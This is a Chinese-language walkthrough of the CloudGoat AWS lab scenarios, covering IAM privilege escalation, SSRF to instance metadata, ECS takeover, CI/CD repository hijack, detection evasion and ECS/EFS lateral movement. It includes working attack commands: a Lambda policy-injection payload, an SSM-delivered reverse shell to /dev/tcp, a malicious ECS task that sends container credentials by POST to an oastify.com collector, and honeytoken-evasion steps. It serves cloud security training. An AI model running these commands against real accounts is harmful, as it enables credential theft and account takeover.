aws cloudgoat writeup

  1. 1. setup
  2. 2. writeup
    1. 2.1. vulnerable_lambda
      1. 2.1.1. 场景环境
      2. 2.1.2. Attack
    2. 2.2. iam_privesc_by_rollback
    3. 2.3. lambda_privesc
    4. 2.4. cloud_breach_s3
    5. 2.5. iam_privsec_by_attachment
    6. 2.6. ec2_ssrf
    7. 2.7. ecs_takeover
    8. 2.8. rce_web_app
    9. 2.9. codebuild_secrets
    10. 2.10. cicd
    11. 2.11. detection_evasion
    12. 2.12. ecs_efs_attack
  3. 3. awscli commands

aws公有云靶场: https://github.com/RhinoSecurityLabs/cloudgoat

setup

  1. 安装aws cli
  2. 安装 terraform https://learn.hashicorp.com/tutorials/terraform/install-cli
  3. 创建一个权限足够的用户
1
2
3
4
5
6
AdministratorAccess
AmazonRDSFullAccess
IAMFullAccess
AmazonS3FullAccess
CloudWatchFullAccess
AmazonDynamoDBFullAccess
  1. 初始化:

img

  1. 配置profile

img

writeup

vulnerable_lambda

场景环境

执行完 ./cloudgoat.py create vulnerable_lambda 之后:

img

第一个场景,先看一下给搭了什么环境,会有一个带漏洞的lambda环境:

img

查看配置,发现是以 vulnerable_lambda_cgid0zbwsxk7ip-policy_applier_lambda1 角色的权限执行的

img

该角色权限:

img
然后发现可以更改用户cg-bilbo-vulnerable_lambda_cgid0zbwsxk7ip的策略和权限,(这个用户就是我们通过各种途径(github泄露等)获得的用户。

img

Attack

然后进行攻击,假设我们在GitHub找到了目标泄露的凭证,目标是获取SecretsManager中的secrets

配置好AK SK:

img

  1. 首先应该查看一下获取到的凭证的信息:
1
2
3
aws sts get-caller-identity
aws iam list-user-policies --user-name [your_user_name]
aws iam get-user-policy --user-name [your_user_name] --policy-name [your_policy_name]

img

  1. 查看策略具体配置:

img

可以看到有iam:Get*和iam:List*权限、SimulateCustomPolicy 搜了一下没懂是什么权限
注意第一个规则有AssumeRole操作权限,我们获取到的用户可以请求cg-lambda-invoker*角色的临时凭证


**AssumeRole: ** 从aws文档中该权限描述可以大概可推测出是一个可以更改角色权限的操作

然后又找到下面这篇文章,有具体利用, 文章第一句说明了该权限的作用:“AWS在IAM服务提供了一个Role的功能,Role的话就是可以扩大自己的权限,比如说一个user可以临时assume一个role,那这个user就具备这个role的权限了。”

https://tonghuaroot.com/2019/11/21/IAM-AssumeRole-and-TrustRelationship/

文章中对AssumeRole的配置有两种方式:(有点类似委派)

  1. 在target tole处设置,也就是下面的:设置AssumeRolePolicyDocument 的 Principal,assume_role_ec2这个role对assumerole_role_target有assumeRole权限. 如下面的配置中, assume_role_ec2这个role对assumerole_role_target有assumeRole权限
1
2
3
4
5
6
7
8
9
10
# assumerole_role_target
"Statement": [
{
"Action": "sts:AssumeRole",
"Effect": "Allow",
"Principal": { # Principal 表示信任关系
"AWS": "arn:aws-cn:iam::123456789012:role/assume_role_ec2"
}
}
]
  1. 在powerful role处设置:

img

另外这个信任还是可以跨账号的:

  1. 同一账号下,role B的信任关系中有role A的ARN就够了
  2. 跨账号的场景下,role C(另一个账号的role,信任关系中要包含role A的ARN,role A也要有assume role的权限才能玩)

列举所有的role, 找到匹配cg-lambda-invoker* 的 role:

img

  1. 查看这个role配置的策略:

aws –profile bilbo –region us-east-1 iam list-role-policies –role-name [cg-target-role]

img

  1. 查看策略权限:

aws –profile bilbo –region us-east-1 iam get-role-policy –role-name cg-lambda-invoker-vulnerable_lambda_cgid0zbwsxk7ip –policy-name lambda-invoker

发现这个策略可以对云函数做一些操作:

img

  1. 那么获取这个角色的临时凭证,也就是assumeRole操作
1
aws --profile bilbo --region us-east-1 sts assume-role --role-arn [cg-lambda-invoker_arn] --role-session-name [whatever_you_want_here]

img

  1. 添加凭证和配置session:

img

  1. 配置aws_session_token : aws configure –profile [name] set aws_session_token xxxx

img

  1. 然后直接执行:aws –region us-east-1 lambda list-functions 枚举云函数

img

  1. 发现只有一个云函数,那么查看这个云函数具体内容, 会返回一个资源链接

aws –region us-east-1 lambda get-function –function-name vulnerable_lambda_cgid0zbwsxk7ip-policy_applier_lambda1

img

  1. 访问S3链接可以直接获取到整个函数源码,发现函数功能是更改user policy:

img

  1. 那么可以调用lambda函数把自己改成administrator:
1
2
3
aws --region us-east-1 lambda invoke --function-name vulnerable_lambda_cgid0zbwsxk7ip-policy_applier_lambda1 --cli-binary-format raw-in-base64-out --payload '{"policy_names": ["AdministratorAccess'"'"' --"], "user_name": "cg-bilbo-vulnerable_lambda_cgid0zbwsxk7ip"}' out.txt
# cat the results to confirm everything is working properly
cat out.txt

img

  1. 然后行使administrator的权利, 列举所有的secrets:aws –profile bilbo –region us-east-1 secretsmanager list-secrets

img

  1. 获取secret Value

img

iam_privesc_by_rollback

初始获得的信息

1
2
3
4
5
6
7
8
9
Outputs:

cloudgoat_output_aws_account_id = "818529845881"
cloudgoat_output_policy_arn = "arn:aws:iam::818529845881:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidt1m34nnef9"
cloudgoat_output_raynor_access_key_id = "AKIA35FBOIJ4SE3PGLXO"
cloudgoat_output_raynor_secret_key = <sensitive>
cloudgoat_output_username = "raynor-iam_privesc_by_rollback_cgidt1m34nnef9"

[cloudgoat] terraform apply completed with no error code.
  1. 首先还是查看用户身份
1
2
3
4
5
6
$ aws --profile rollbackuser sts get-caller-identity
{
"UserId": "AIDA35FBOIJ44D7Q4SFA4",
"Account": "818529845881",
"Arn": "arn:aws:iam::818529845881:user/raynor-iam_privesc_by_rollback_cgidt1m34nnef9"
}
  1. 查看用户policies发现未配置…

img

  1. 发现list-attached-user-policies可以列举出:
1
2
3
4
5
6
7
8
9
$ aws iam list-attached-user-policies --user-name raynor-iam_privesc_by_rollback_cgidt1m34nnef9  --profile rollbackuser
{
"AttachedPolicies": [
{
"PolicyName": "cg-raynor-policy-iam_privesc_by_rollback_cgidt1m34nnef9",
"PolicyArn": "arn:aws:iam::818529845881:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidt1m34nnef9"
}
]
}

那么attached policies和正常的user policies的区别?

  • attached policies为托管策略, 其它的为内联策略

image-20220925111226437

简单来说内联策略是直接加到某个用户或者角色的, 托管策略是在创建角色之前就创建了一个通用的权限策略,然后附加到创建的用户上.

如:

image-20220925111938346

image-20220925111947195

且对于托管策略是分版本的:

image-20220925112127269

  1. 所以对于托管策略可以直接查询它的版本

aws iam list-policy-versions –policy-arn arn:aws:iam::818529845881:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidt1m34nnef9 –profile rollbackuser

img

根据查询结果得到默认版本为V1, 然后查看每个版本下的策略:

aws iam get-policy-version –policy-arn [policy-arn] –version-id [version-id] –profile rollbackuser

img

发现当前版本有setDefaultPolicyVersion权限,就可以更改attached-policy的版本从而修改用户自身权限

查看V5 版本权限发现直接是Administrator权限

img

  1. 设置默认版本为V5

aws iam set-default-policy-version –policy-arn arn:aws:iam::818529845881:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidt1m34nnef9 –version-id v5 –profile rollbackuser

img

现在已经是管理员权限了.

lambda_privesc

同样以一个账户开始, 先查看用户身份策略以及版本:

img

img

发现当前用户具有AssumeRole操作的权限,

  1. 首先列出所有的role: aws –profile priv iam list-roles

img

发现存在和lambda相关的一个高权限role, 查看策略:

  1. 获取下这个role attached的策略:

img

img

然后发现这个role具有passRole权限


aws文档对passrole的介绍:

要配置多项 AWS 服务,您必须将 IAM 角色传递给相应服务。这允许该服务稍后代入该角色并代表您执行操作。对于大多数服务,您只需在设置期间(而不是服务每次代入角色时)将角色传递给服务。

简单来说就是可以把IAM角色传递给相应服务,这个”服务”可以是一个user.


  1. 对于另外一个role:

img

img

发现这个role直接有administrator权限, 但是不能直接assume为这个Role.

综合前面得到的信息我们可以:

(1) assume为具有passRole权限的role,

img

(2) 把administrator策略pass到获得的用户上

img

然后就获得了administrator权限

cloud_breach_s3

img

给了一个IP,访问:

img

提示是代理服务器,代理到EC2的metadata,不过需要改host头
metadata访问: http://169.254.169.254/latest/meta-data/

img

然后直接获取凭据

img

配置上凭据:

img

发现s3里面有东西:

img

然后可以获得一堆数据:

img

iam_privsec_by_attachment

img

发现可以列举实例:

img

这里需要关注之后会用到的一些东西,比如安全组:

img

获取当前实例附加的profile:aws iam list-instance-profiles –profile attach

img

Q: 实例profile是什么?

A: aws文档 , 约等于是实例的配置文件,可配置项其实很少:InstanceProfileName、Path和 Roles;

实际的使用:https://docs.aws.amazon.com/zh_cn/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html
可以用来将角色附加到已经运行的EC2实例上

发现是 cg-ec2-meek-role-iam_privesc_by_attachment_cgid1vs2w3i4ap

那么我们看看有什么比较高权限的role为实例附加上,列举现有的role:aws iam list-roles –profile Kerrigan

下面是看wp写的,因为做的时候似乎列举权限未列举出来,这里为什么可以更改实例profile,大概实战的时候可以尝试一下

下面的思路就是修改实例profile之后, 再起一个新的instance,这样就有更改之后绑定role的权限了

img

看名字,一个是 meek(温顺)一个是mighty(强大的)

为实例更换角色:

1
2
3
4
# remove
aws iam remove-role-from-instance-profile --instance-profile-name cg-ec2-meek-instance-profile-iam_privesc_by_attachment_cgid1vs2w3i4ap --role-name cg-ec2-meek-role-iam_privesc_by_attachment_cgid1vs2w3i4ap --profile attach
# add
aws iam add-role-to-instance-profile --instance-profile-name cg-ec2-meek-instance-profile-iam_privesc_by_attachment_cgid1vs2w3i4ap --role-name cg-ec2-mighty-role-iam_privesc_by_attachment_cgid1vs2w3i4ap --profile attach

img

为这个ec2生成新的密钥对:

1
2
aws ec2 create-key-pair --key-name cg04 --profile attach --region us-east-1 --query 'KeyMaterial' --output text > cg04.pem
chmod 600 cg04.pem

创建新的实例:image-id和subnet-id都是直接copy现有实例的,安全组是ssh的那个,关于profile:

img

1
aws ec2 run-instances --image-id ami-0a313d6098716f372 --instance-type t2.micro --iam-instance-profile Arn=arn:aws:iam::818529845881:instance-profile/cg-ec2-meek-instance-profile-iam_privesc_by_attachment_cgid1vs2w3i4ap --key-name cg04 --subnet-id subnet-0552815e50de647e0 --security-group-ids sg-0e19ce7031d50748b --region us-east-1 --profile attach

没权限查看实例状态:aws ec2 describe-instance-status –instance-ids i-0487ad5564b67d269 –profile attach –region us-east-1

img

不过肯定是成功的,不信的话可以登下root用户看下控制台:

img

查看下公网IP

img

ssh连上去

img

装一个awscli

1
2
$ sudo apt-get update
$ sudo apt-get install awscli

检查权限:

1
aws iam list-attached-role-policies --role-name cg-ec2-mighty-role-iam_privesc_by_attachment_cgid1vs2w3i4ap

img

发现 拥有full access right

img

关闭另外一个实例:

aws ec2 terminate-instances –instance-ids i-044c1403957f98ea5 –region us-east-1

img

img

img

ec2_ssrf

因为aws lambda已经不支持python3.6环境了,所以改一下terraform配置:

img

img

然后再新建场景就没问题了

img

img

  1. 第一步,检查自身权限 –> 列不出自身权限策略
  2. 第二步,检查自身资源

发现可以列出云函数

img

发现云函数环境变量里面有ak,sk

不过还是尝试获取一下云函数的Role的策略,发现还是没权限:

aws iam list-role-policies –role-name cg-lambda-role-ec2_ssrf_cgidvexkp5uoq0-service-role –profile Solus

挂上环境变量的ak,sk看看有什么东西:

img

权限还是没什么东西,不过列资源应该有的:

img

发现有两个ec2实例,一个正在运行,一个已经终止:

主要看 IamInstanceProfile , 也就是实例的profile

1
2
3
4
"IamInstanceProfile": {
"Arn": "arn:aws:iam::818529845881:instance-profile/cg-ec2-instance-profile-ec2_ssrf_cgidvexkp5uoq0",
"Id": "AIPA35FBOIJ4UWFPJFL7S"
},

发现没权限获取profile的信息。。

于是开始对着这个实例进行测试。

img

那就直接尝试获取实例的metadata.

img

挂载获得的凭据:

img

不过这个还是没什么权限,不能查这个role的权限,尝试列举资源:

img

又在s3中获取凭证:

img

配置上之后:

img

不过还是没什么查询权限:

img

尝试枚举资源, 发现只有一开始的云函数:

img

这个时候想起来好像没去试下能不能获取和执行函数, 发现最初的用户和admin用户都可以获取到函数:

aws lambda get-function –function-name cg-lambda-ec2_ssrf_cgidvexkp5uoq0 –profile Solus

img

但是最初获得的用户没执行权限,admin用户有执行这个云函数的权限:

img

img

ecs_takeover

直接create会报错,改一下command就好了

img

img

img

发现是一个website:

img

显然有ssrf, 尝试下获取metadata

img

img

再测一测有没有别的漏洞, 发现还有命令执行的漏洞:

img

然后后面的步骤有点不太懂,去了解了一下aws ecs集群相关知识:


参考 https://www.twblogs.net/a/5e6db618bd9eee2117c74e00/?lang=zh-cn

ecs集群是任务或者服务的分组, 可以简单的再集群上注册一个任务,AWS会自动把任务分配到容器或者EC2上运行. 服务与任务的关系是: 服务是任务的分组,可以运行多个任务.

ecs任务启动类型分两种,Fargate启动类型和ec2启动类型,Fargate 启动类型只需定义任务,无需预置和管理后台基础设施,即可运行容器化的应用程序。EC2 启动类型在集群中管理的 EC2 实例上运行容器化的应用程序.

这个场景下的集群中有两个EC2实例,三个服务和四个任务.

image-20220925142550743

服务/任务启动类型都是EC2:

image-20220925142613353

所以可以在ec2中发现存在docker环境:

image-20220925142802370

其中ecs-agent机器是container-agent,

关于container-agent的介绍如下,获取该容器凭证可以在容器实例中执行命令

img

此外需要注意的是, 每个任务也都绑定着一个角色,也都具有一定的权限.

image-20220925143126557


现在要做的是, 把运行在另外一个EC2中的任务, 迁移到有漏洞的这个来,获取到里面的flag

  1. 先枚举所有的docker容器:

image-20220925144810026

  1. 在特权容器中执行命令获取高权限(高权限任务凭据):

这里直接上帝视角知道privd容器权限比较高了, 实际利用要枚举下

获取容器中的凭据是下面的命令,参考 https://docs.aws.amazon.com/sdkref/latest/guide/feature-container-credentials.html

1
; docker exec 5266af65faa1 sh -c 'wget -O- 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'

img

实际上这个凭据也仅仅能够列举一些集群信息,但是也够了

然后列举集群的一些信息:

1
2
aws --profile privd ecs list-clusters
aws --profile privd ecs list-tasks --cluster ecs-takeover-ecs_takeover_cgidtauurm6vyh-cluster --query taskArns

img

列举任务

img

列举集群内实例:

aws –profile privd ecs list-container-instances –cluster ecs-takeover-ecs_takeover_cgidtauurm6vyh-cluster

img

查看任务, 获取所在的服务组信息等

aws –profile privd ecs describe-tasks –cluster ecs-takeover-ecs_takeover_cgidtauurm6vyh-cluster –tasks

img

img

现在使用高权限凭据关闭另外一个EC2, 这个凭据使用的是有漏洞的EC2的凭据

aws –profile takeover ecs update-container-instances-state –cluster ecs-takeover-ecs_takeover_cgidtauurm6vyh-cluster –container-instances arn:aws:ecs:us-east-1:818529845881:container-instance/ecs-takeover-ecs_takeover_cgidtauurm6vyh-cluster/603439c72f5040b2834672fd312593d3 –status DRAINING

img

img

然后再去有漏洞的EC2环境上看. 发现目标服务容器已经切换到有漏洞环境的EC2运行了

img

img

img

这个场景还有很多坑,哪些服务运行在哪个容器之类的,需要多探索.

rce_web_app

创建环境时还是有问题,修改一下pg数据库版本即可, https://github.com/RhinoSecurityLabs/cloudgoat/issues/148

img

改两个地方即可,

img

img

ps: 这里instance_class去创建数据库的控制台那选一个就行, 建议选一个便宜点的, db.m5.large太贵了…

img

然后创建环境就没问题了:

img

两个账户,逐个开始试:

img

发现两个权限差不多

img

先看储存桶

img

1
aws --profile userA s3 cp s3://cg-logs-s3-bucket-rce-web-app-cgidhp90mdtn81/  ./tmp-s3/a --recursive

S3下载下来发现是AWS ELB的log, 可以使用https://github.com/ozantunca/elb-log-analyzer分析elb log, 另外一个cloudgoat/cloudgoat.pub 是ELB log中实例的公私钥对

img

AWS ELB: 负载均衡, 可以看文档了解一下

但是分析出的站点无法访问, 只能通过负载均衡的入口访问了, 列举ELB的信息

aws elbv2 describe-load-balancers –profile lara

img

直接访问负载均衡DNS:

img

拼接ELB log中的路径,发现是有漏洞的环境

img

ip:

img

然后直接通过之前获得的公私钥连上去:

这里有个坑,私钥权限改成600才行,不知道是什么奇怪的要求。。

img

连上时候开始信息收集, 获取user-data信息,发现有数据库连接

img

连接数据库:

img

装一个awscli把之前没权限获取数据的储存桶再看一遍

img

codebuild_secrets

同样要改一下配置, 除了改数据库配置外,还要改一下python版本:

img

img

给了一个凭据, 装上看下权限:

img

账户下存在三个实例:

img

其中两个是这个场景相关的, 一个暂停一个启动.

img

img

启动的这个容器也访问不了80端口,不过看安全组开了22端口.

img

到这里失去了思路, 不过再尝试列举下别的资源, 发现还可以列举codebuild:

img

CodeBuild环境变量有另外一个凭据:

img

装上这个凭据查看权限和资源:

img

然后发现什么权限都没有,但是可以列举数据库:aws rds describe-db-instances –profile cb2

img

但是数据库也不能访问:

img

下面是数据库不公开访问的情况下如何通过快照建立一个可访问的数据库:

首先创建一个数据库快照:

aws rds create-db-snapshot –db-instance-identifier cg-rds-instance-codebuild-secrets-cgidrhg45g9k0y –db-snapshot test-shot –profile cb2

img

查看subnet: aws rds describe-db-subnet-groups –profile cb2

img

列举安全组: aws ec2 describe-security-groups –profile cb22

img

根据快照创建新的数据库:

1
aws rds restore-db-instance-from-db-snapshot --db-instance-identifier newDB1 --db-snapshot-identifier test-shot --db-subnet-group-name cloud-goat-rds-subnet-group-codebuild_secrets_cgidrhg45g9k0y --publicly-accessible --vpc-security-group-ids sg-0665d973c6ded2585 --profile cb2

img

等待数据库创建完成:

img

修改密码: aws rds modify-db-instance –db-instance-identifier newdb1 –master-user-password cloudgoat –profile cb2

等待一段时间连接: psql postgresql://cgadmin@newdb2.c8tldggafogj.us-east-1.rds.amazonaws.com:5432/postgres

不过这个数据库还是公网无法访问,因为没配置安全组?很头疼这个问题。。 PASS了,知道思路就行

补充:之后发现,要连接数据库可能要挂全局代理。。

img

换一个思路,发现可以枚举SSM参数

aws ssm describe-parameters –profile codebuild

img

SSM是一个监控Agent, 类似ECS中的agent, 也可以执行命令:

img

先获取列举出的SSM参数,读取出私钥: aws ssm get-parameter –name <private key name> –profile solo

img

然后直接连接之前的ec2,在ec2上装awscli, 获取user-data:

img

根据user-data中的数据库获取secret

img

cicd

创建场景需要下载一些文件,网络不稳定的话多试几次就好了。
另外,可能会出一些奇怪的报错,参考 https://stackoverflow.com/questions/64596394/importerror-cannot-import-name-docevents-from-botocore-docs-bcdoc-in-aws-co
遇到这个报错更新awscli和botocore即可

img

img

泄露一个AKSK和一个URI , URI是业务地址,用户会向这个地址post自己的私密信息,我们要做的是劫持这个地址,截取用户数据.

先看看AKSK权限

img

img

根据policyDocument,有用一点的权限有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// 对ssm有很多权限
{
"Effect": "Allow",
"Resource": "*",
"Action": [
"ssm:*"
],
"Condition": {
"StringLike": {
"ssm:ResourceTag/Environment": [
"sandbox"
]
}
}
}

{
"Effect": "Allow",
"Resource": "arn:aws:ssm:*::document/*",
"Action": [
"ssm:*"
]
}
// 列举一切,包括commit仓库
{
"Effect": "Allow",
"Resource": "*",
"Action": [
"iam:List*",
"iam:Describe*",
"iam:Get*",
"ec2:Describe*",
"ec2:List*",
"ssm:Describe*",
"ssm:Get*",
"codecommit:ListRepositories"
]
}
// 不能列举实例
{
"Effect": "Deny",
"Resource": "*",
"Action": "ec2:DescribeInstanceAttribute"
}

{
"Effect": "Allow",
"Sid": "AllowConsoleAccess",
"Resource": "arn:aws:sts::818529845881:federated-user/ec2-sandbox-manager",
"Action": "sts:GetFederationToken"
}

那么根据之前的靶场经验,先列举一些资源:

1
2
3
4
5
aws ssm describe-parameters --profile u1
aws s3 ls --profile u1
aws lambda list-functions --profile u1
aws ec2 describe-instances --profile u1
aws rds describe-db-instances --profile u1

只能列举一个ec2实例,但是没有公网IP。

但是注意到还有权限codecommit:ListRepositories, 随便输点错误的operation查看操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
$ aws codecommit x
Note: AWS CLI version 2, the latest major version of the AWS CLI, is now stable and recommended for general use. For more information, see the AWS CLI version 2 installation instructions at: https://docs.aws.amazon.com/cli/latest/userguide/install-cliv2.html

usage: aws [options] <command> <subcommand> [<subcommand> ...] [parameters]
To see help text, you can run:

aws help
aws <command> help
aws <command> <subcommand> help
aws: error: argument operation: Invalid choice, valid choices are:

associate-approval-rule-template-with-repository | batch-associate-approval-rule-template-with-repositories
batch-describe-merge-conflicts | batch-disassociate-approval-rule-template-from-repositories
batch-get-commits | batch-get-repositories
create-approval-rule-template | create-branch
create-commit | create-pull-request
create-pull-request-approval-rule | create-repository
create-unreferenced-merge-commit | delete-approval-rule-template
delete-branch | delete-comment-content
delete-file | delete-pull-request-approval-rule
delete-repository | describe-merge-conflicts
describe-pull-request-events | disassociate-approval-rule-template-from-repository
evaluate-pull-request-approval-rules | get-approval-rule-template
get-blob | get-branch
get-comment | get-comment-reactions
get-comments-for-compared-commit | get-comments-for-pull-request
get-commit | get-differences
get-file | get-folder
get-merge-commit | get-merge-conflicts
get-merge-options | get-pull-request
get-pull-request-approval-states | get-pull-request-override-state
get-repository | get-repository-triggers
list-approval-rule-templates | list-associated-approval-rule-templates-for-repository
list-branches | list-pull-requests
list-repositories | list-repositories-for-approval-rule-template
list-tags-for-resource | merge-branches-by-fast-forward
merge-branches-by-squash | merge-branches-by-three-way
merge-pull-request-by-fast-forward | merge-pull-request-by-squash
merge-pull-request-by-three-way | override-pull-request-approval-rules
post-comment-for-compared-commit | post-comment-for-pull-request
post-comment-reply | put-comment-reaction
put-file | put-repository-triggers
tag-resource | test-repository-triggers
untag-resource | update-approval-rule-template-content
update-approval-rule-template-description | update-approval-rule-template-name
update-comment | update-default-branch
update-pull-request-approval-rule-content | update-pull-request-approval-state
update-pull-request-description | update-pull-request-status
update-pull-request-title | update-repository-description
update-repository-name | credential-helper

查看repository, aws codecommit list-repositories –profile u1

img

但是也仅限列举仓库了。。

查看ec2实例的时候可以发现:

img

而我们的权限中恰好有改tag和对tag为sandbox的SSM有全部SSM操作权限, 这样就可以去执行命令了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
{
"Effect": "Allow",
"Resource": "*",
"Action": [
"ssm:*"
],
"Condition": {
"StringLike": {
"ssm:ResourceTag/Environment": [
"sandbox"
]
}
}
}

{
"Effect": "Allow",
"Resource": "*",
"Action": [
"ec2:CreateTags",
"ec2:DeleteTags"
],
"Condition": {
"StringLike": {
"ec2:ResourceTag/Environment": [
"dev"
]
}
}
}

改tag: aws ec2 create-tags –resources i-046a61a51e95b6df0 –tags Key=Environment,Value=sandbox

img

SSM命令执行参考:

https://docs.aws.amazon.com/zh_cn/systems-manager/latest/userguide/sysman-rc-setting-up.html

https://docs.aws.amazon.com/zh_cn/systems-manager/latest/userguide/walkthrough-cli.html

1
aws ssm send-command --instance-ids "i-046a61a51e95b6df0" --document-name "AWS-RunShellScript" --comment "IP config" --parameters commands=ifconfig --output text

img

查看响应

1
aws ssm list-command-invocations --command-id eee21184-5c5c-4a8e-8fa1-26961d884a7d --details

然后发现没权限查看响应。。

img

请求dnslog确实是执行了命令:

aws ssm send-command –instance-ids “i-046a61a51e95b6df0” –document-name “AWS-RunShellScript” –comment “test1” –parameters commands=”curl test.kejajb.dnslog.cn” –output text

img

img

反弹个shell试一试:

1
2
3
4
aws ssm send-command \
--document-name "AWS-RunShellScript" \
--targets '[{"Key":"InstanceIds","Values":["i-046a61a51e95b6df0"]}]' \
--parameters '{"commands":["#!/bin/bash","yum -y update","/bin/bash -i >& /dev/tcp/101.43.xx.xxx/2333 0>&1"]}' --profile u1

img

或者通过 aws ssm start-session –target i-046a61a51e95b6df0 –profile u1 来直接返回shell, 但是我这死活不行

安装session Manager: https://docs.aws.amazon.com/zh_cn/systems-manager/latest/userguide/session-manager-working-with-install-plugin.html#install-plugin-linux

1
2
wget https://s3.ap-northeast-1.amazonaws.com/amazon-ssm-ap-northeast-1/latest/debian_amd64/amazon-ssm-agent.deb
dpkg -i amazon-ssm-agent.deb

窃取SSM用户私钥:

img

获取ssh-user私钥之后,再提取公钥指纹

首先枚举所有公钥: aws iam list-ssh-public-keys –user-name cloner –profile u1

img

获取cloner的公钥指纹再获取publicKeyID也行

aws iam get-ssh-public-key –user-name cloner –ssh-public-key-id APKA35FBOIJ42NCPLZPM –encoding PEM –output text –query ‘SSHPublicKey.Fingerprint’

img

aws iam list-ssh-public-keys –user-name cloner –output text –query ‘SSHPublicKeys[0].SSHPublicKeyId’ –profile u1

img

修改.ssh/config

img

clone 仓库

git clone ssh://APKA35FBOIJ42NCPLZPM@git-codecommit.us-east-1.amazonaws.com/v1/repos/backend-api

img

查看gitlog

img

然后可以获取到一个可以修改代码的AKSK,

img

img

修改代码然后commit上去:

img

aws codecommit get-branch –repository-name backend-api –branch-name master –profile developer

aws codecommit put-file –repository-name backend-api –branch-name master –file-content fileb://./app.py –file-path app.py –parent-commit-id 88e2eb00d59a7032c3b6d003f0606f1e8c7b11ea –profile developer

img

然后就实现了劫持,获取到用户提交的secret:

img

detection_evasion

创建场景的时候会接受一个邮箱,用来接受告警:

img

img

目标是在不触发告警的前提下,获取到secret Manager中的两个secret:

直接看文档来做,给了四个AKSK,但是有一些是honeytoken,使用honeyToken会告警:

img

如何识别honeytoken? 可以通过不记录log的操作简单识别:

1
aws --region us-east-1 sdb list-domains --profile user1

img

这里除了最后一个,其它全是honey token. 使用这个token可以枚举secrets:

img

枚举EC2实例:

img

权限:

img

img

发现刚好可以执行SSM操作, 来向EC2实例发送命令, 直接通过ssm start-session来获得一个shell:

img

获取metadata:

img

但是不能直接使用这个metadata的凭据,会触发告警:

如果您使用来自未知 IP 的与此实例关联的凭据,则会触发警报

尝试一下:

img

img

然后就会触发告警:

img

img

如何bypass?

  1. 出网的话直接装一个awscli, 在目标机器操作

img

  1. https://www.hunters.ai/blog/hunters-research-detecting-obfuscated-attacker-ip-in-aws](https://www.hunters.ai/blog/hunters-research-detecting-obfuscated-attacker-ip-in-aws) 任意IP地址欺骗

  2. 部署一个aws ec2 执行命令 bypass (不太懂?

ecs_efs_attack

参考: https://rhinosecuritylabs.com/cloud-security/cloudgoat-aws-ecs_efs_attack/

img

还是打ecs集群:

img

发现有两个EC2, 其中一个凭据已经给了,第一件事情是横向移动到另外一台EC2.

直接连上给的ec2:

img

同样先进行一些信息收集:

img

发现我们可以创建新任务, 那么创建新任务让他跑到另外一个ec2上再获取ec2 metadata就可以获得另外一个EC2控制权了.

img

image.png

收集一些信息以方便创建新任务:

img

IP: 34.229.185.15

集群:

img

img

获取旧任务的定义和模板:

1
2
aws ecs describe-task-definition --task-definition webapp:1 > taskdef.json
aws ecs register-task-definition --generate-cli-skeleton > backdoor.json

参数比较多,可以直接参考下面的这个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
{
"containerDefinitions": [{
"name": "webapp",
"image": "python:latest",
"cpu": 128,
"memory": 128,
"memoryReservation": 64,
"portMappings": [{
"containerPort": 80,
"hostPort": 80,
"protocol": "tcp"
}],
"essential": true,
"entryPoint": ["sh", "-c"],
"command": [
"/bin/sh -c \"curl 169.254.169.254$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI > data.json && curl -X POST -d @data.json 39auh4n5u0ddsyayvrvnfvbf066wul.oastify.com \" "
],
"environment": [],
"mountPoints": [],
"volumesFrom": []
}],
"family": "webapp",
"taskRoleArn": "arn:aws:iam::818529845881:role/cg-ecs-role-ecs_efs_attack_cgidd59vp7g5uy",
"executionRoleArn": "arn:aws:iam::818529845881:role/cg-ecs-role-ecs_efs_attack_cgidd59vp7g5uy",
"networkMode": "awsvpc",
"volumes": [],
"placementConstraints": [],
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512"
}

其中很多参数都是需要改的, 这很关键.

生成新任务:

1
2
aws ecs register-task-definition --cli-input-json file://./backdoor.json
aws ecs update-service --service {service_arn} --cluster {cluster_arn} --task-definition {backdoor_task}

覆盖之前service中的任务:

aws ecs update-service –service cg-webapp-ecs_efs_attack_cgidd59vp7g5uy –cluster cg-cluster-ecs_efs_attack_cgidd59vp7g5uy –task-definition arn:aws:ecs:us-east-1:818529845881:task-definition/webapp:4

然后就可以收到另外一台EC2的凭据:

img

装上这个凭据:

img

打上StartSession的tag: aws ec2 create-tags –resources i-0b5e9da253694d8eb –tags Key=StartSession,Value=true

img

总结笔记的时候发现, 这一步忘记为什么了,也没什么权限限定在这个tag好像.

https://rhinosecuritylabs.com/cloud-security/cloudgoat-aws-ecs_efs_attack/ 这个 ,似乎漏了些什么..忘记查看EC2-2的凭据权限了.

image-20220925164149131

然后ssm start-session

img

然后装上nmap横向移动nmap -Pn -p2049 –open 10.10.10.4/24

因为知道要打efs服务,所以就只扫了2049端口

img

挂载这个nfs:

1
2
3
cd /mnt
sudo mkdir efs
sudo mount -t nfs -o nfsvers=4.1,rsize=1048576,wsize=1048576,hard,timeo=600,retrans=2,noresvport 10.10.10.25:/ efs

img

awscli commands

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
常用命令
# 获取凭据用户信息
aws sts get-caller-identity
# 获取用户策略配置
aws iam list-user-policies --user-name [your_user_name]
aws iam list-attached-user-policies --user-name [your_user_name]
# 获取具体策略信息
aws iam list-policy-versions --policy-arn [policy_arn]
